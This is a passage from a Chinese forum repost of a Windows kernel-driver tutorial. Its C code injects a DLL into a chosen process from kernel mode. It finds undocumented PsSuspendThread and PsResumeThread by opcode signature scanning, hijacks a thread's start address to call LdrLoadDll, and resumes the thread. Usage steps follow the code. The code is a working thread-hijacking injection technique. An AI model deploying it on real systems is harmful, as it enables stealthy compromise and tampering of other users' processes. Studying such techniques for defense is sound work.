  492.                 {
  493.                         PVOID threadObj = NULL;
  495.                         // 在对象句柄上提供访问验证，如果可以授予访问权限，则返回指向对象的正文的相应指针。
  496.                         NTSTATUS state = ObReferenceObjectByHandle(threadHandle, 0x1FFFFF, *PsThreadType, KernelMode, &threadObj, NULL);
  497.                         if (NT_SUCCESS(state))
  498.                         {
  499.                                 // 暂停线程
  500.                                 g_PsSuspendThread(threadObj, NULL);
  502.                                 // 设置线程ShellCode代码
  503.                                 SetThreadStartAddress(threadObj, g_PsGetProcessWow64Process(pEprocess) != 0, LdrLoadDll, DllFullPath, allcateAddress);
  505.                                 // 恢复线程
  506.                                 g_PsResumeThread(threadObj, NULL);
  507.                                 ObDereferenceObject(threadObj);
  508.                         }
  509.                         NtClose(threadHandle);
  510.                 }
  512.                 // 关闭线程
  513.                 KeUnstackDetachProcess(&kApc);
  514.                 ObDereferenceObject(pEprocess);
  515.         }
  516.         return STATUS_SUCCESS;
  517. }
  519. NTSTATUS UnDriver(PDRIVER_OBJECT driver)
  520. {
  521.         UNREFERENCED_PARAMETER(driver);
  522.         return STATUS_SUCCESS;
  523. }
  525. NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath)
  526. {
  527.         DbgPrint("Hello LyShark.com \n");
  529.         UNREFERENCED_PARAMETER(RegistryPath);
  531.         // -----------------------------------------------------------------------
  532.         // 初始化
  533.         // -----------------------------------------------------------------------
  534.         UCHAR SuspendOpCode[] = { 0x48, 0x8b, 0xf9, 0x83, 0x64, 0x24, 0x20, 0x00, 0x65, 0x48, 0x8b, 0x34, 0x25, 0x88, 0x01 };
  535.         UCHAR ResumeOpCode[] = { 0x48, 0x8b, 0xf9, 0xe8, 0xee, 0x4f, 0xa5, 0xff, 0x65, 0x48, 0x8b, 0x14, 0x25, 0x88 };
  537.         // 特征码检索PsSuspendThread函数基址
  538.         g_PsSuspendThread = (PPsSuspendThread)SearchOPcode(Driver, L"ntoskrnl.exe", "PAGE", SuspendOpCode, sizeof(SuspendOpCode), -24);
  539.         DbgPrint("PsSuspendThread = %p \n", g_PsSuspendThread);
  541.         // 特征码检索PsResumeThread基址
  542.         g_PsResumeThread = (PPsResumeThread)SearchOPcode(Driver, L"ntoskrnl.exe", "PAGE", ResumeOpCode, sizeof(ResumeOpCode), -18);
  543.         DbgPrint("PsResumeThread = %p \n", g_PsResumeThread);
  545.         // 动态获取内存中的ZwGetNextThread基址
  546.         UNICODE_STRING ZwGetNextThreadString = RTL_CONSTANT_STRING(L"ZwGetNextThread");
  547.         g_ZwGetNextThread = (PZwGetNextThread)MmGetSystemRoutineAddress(&ZwGetNextThreadString);
  548.         DbgPrint("ZwGetNextThread = %p \n", g_ZwGetNextThread);
  550.         // 动态获取内存中的PsGetThreadTeb基址
  551.         UNICODE_STRING PsGetThreadTebString = RTL_CONSTANT_STRING(L"PsGetThreadTeb");
  552.         g_PsGetThreadTeb = (PPsGetThreadTeb)MmGetSystemRoutineAddress(&PsGetThreadTebString);
  553.         DbgPrint("PsGetThreadTeb = %p \n", g_PsGetThreadTeb);
  555.         // 动态获取内存中的PsGetProcessWow64Process基址
  556.         UNICODE_STRING PsGetProcessWow64ProcessString = RTL_CONSTANT_STRING(L"PsGetProcessWow64Process");
  557.         g_PsGetProcessWow64Process = (PPsGetProcessWow64Process)MmGetSystemRoutineAddress(&PsGetProcessWow64ProcessString);
  558.         DbgPrint("PsGetProcessWow64Process = %p \n", g_PsGetProcessWow64Process);
  560.         // -----------------------------------------------------------------------
  561.         // 注入代码
  562.         // -----------------------------------------------------------------------
  564.         ULONG ProcessID = 984;
  565.         UNICODE_STRING InjectDllPath = RTL_CONSTANT_STRING(L"C:\\Users\\lyshark\\Desktop\\hook.dll");
  566.         PINJECT_BUFFER AllcateAddress = NULL;
  568.         // 执行线程注入
  569.         NTSTATUS Status = KernelInjectDLL(ProcessID, &InjectDllPath, &AllcateAddress);
  570.         if (Status == STATUS_SUCCESS)
  571.         {
  572.                 DbgPrint("[*] 线程注入PID = %d | DLL = %wZ \n", ProcessID, InjectDllPath);
  573.         }
  575.         Driver->DriverUnload = UnDriver;
  576.         return STATUS_SUCCESS;
  577. }
复制代码
首先你需要自行准备好一个DLL文件，此处我的是hook.dll将文件放入到桌面，然后设置ProcessID指定进程ID，设置InjectDllPath指定DLL路径，签名后将驱动加载起来，此时你会看到WinDBG中的输出，且应用层的进程也会弹出hello lyshark的消息，说明注入成功了，如下图所示；


免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有账号？立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览
返回列表

快速回复

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

九天猎人

金牌会员
这个人很懒什么都没写!

楼主热帖

标签云

挺好的 服务器
微信订阅号
微信服务号
微信客服
小程序
H5
关于我们 商务合作 网站地图
©Copyright 2022-2024 杭州祥升科技有限公司 版权所有 浙ICP备20004199号
快速回复 返回顶部 返回列表